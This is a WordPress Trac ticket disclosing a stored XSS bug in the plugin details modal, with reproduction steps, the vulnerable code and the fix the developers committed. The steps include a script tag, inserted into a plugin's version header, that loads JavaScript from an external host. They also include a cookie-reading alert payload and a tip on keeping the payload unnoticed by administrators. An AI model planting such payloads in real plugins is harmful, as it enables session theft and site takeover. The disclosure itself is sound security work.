Stored XSS via «View details» plugin iFrame

[anonymized_17160716]

I found a way to use the XSS attack vector - through an iFrame with a detailed description of the plugin (plugin «View details» iFrame).

Possible operation options:

• substitution or modification of the original plug-in to hide malicious code;

• distribution of the modified plugin through third-party resources.

Steps To Reproduce:

0. open any existed plugin from the official WordPress repo, f.e. Hello Dolly.
1. change the version number to +1 (as a minimum) - from Version: 1.7.2 to Version: 1.7.3.
2. add your payload right after the last digit - Version: 1.7.3<script src="https://m0ze.ru/payload.a.js"></script>
3. check the plugin info via dashboard, «View details» link.

If you use the payload specifically as a <script src=...></script>, then visually, except for one digit in the plugin version, nothing will change. Other payloads also work (<script>alert(document.cookie)</script> etc.), but they add extra special characters on the right of the plugin version, which may alert the website administrator.

Screenshots:

Code:

/wp-admin/includes/plugin-install.php, 881-884:

case 'newer_installed':
        /* translators: %s: Plugin version. */
        echo '<a class="button button-primary right disabled">' . sprintf( __( 'Newer Version (%s) Installed' ), $status['version'] ) . '</a>';
break;

Quick fix:

strip_tags($status['version'])

Video:

YouTube short demo: ​https://youtu.be/_IRcQ82wovY

Impact

Malicious JavaScript code injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource.

There is also an unknown number of plugins that display diagnostic information about the site, including the names and versions of plugins, where this vulnerability will also be triggered, f.e.: Asset CleanUp: Page Speed Booster, WP Cerber Security, Anti-spam & Malware Scan and many other plugins.

[ayeshrajans]

Thanks for the report @m0ze. Not without some tinkering, but I could reproduce this issue, and I think it's really we ought to fix.

Please note that we don't use Trac to report/triage security issue. Please see ​SECURITY.md with full details on how to report a security vulnerability.

[anonymized_17160716]

Hi @ayeshrajans.

Please note that we don't use Trac to report/triage security issue. Please see SECURITY.md with full details on how to report a security vulnerability.

On the H1 platform, this XSS issue wasn't considered as a vulnerability, so the WordPress Staff member closed the report with N/A status and I was told to write all details right here, in a new ticket.

[SergeyBiryukov]

Hi there, welcome to WordPress Trac! Thanks for the report.

I think we'd want to use esc_html() here instead of strip_tags(), for consistency with how contributor names are escaped earlier​. Looks good to me otherwise.

[anonymized_17160716]

@SergeyBiryukov hi there. Thank you :)

I think we'd want to use esc_html() here instead of strip_tags(), for consistency with how contributor names are escaped earlier​.

Yep, got it!

[bmcculley]

I wanted to note that in order to test this, if using the Hello Dolly plugin. It must first be deleted and then reinstalled so that the newer_installed case will be reached. If the one that comes by default is used it will only go to install.

[SergeyBiryukov]

In 50825:

Plugins: Escape the currently installed version number on Add Plugins screen.

The number is displayed in the plugin details modal if a newer version is already installed.

Props m0ze, bmcculley, ayeshrajans.
Fixes #53020.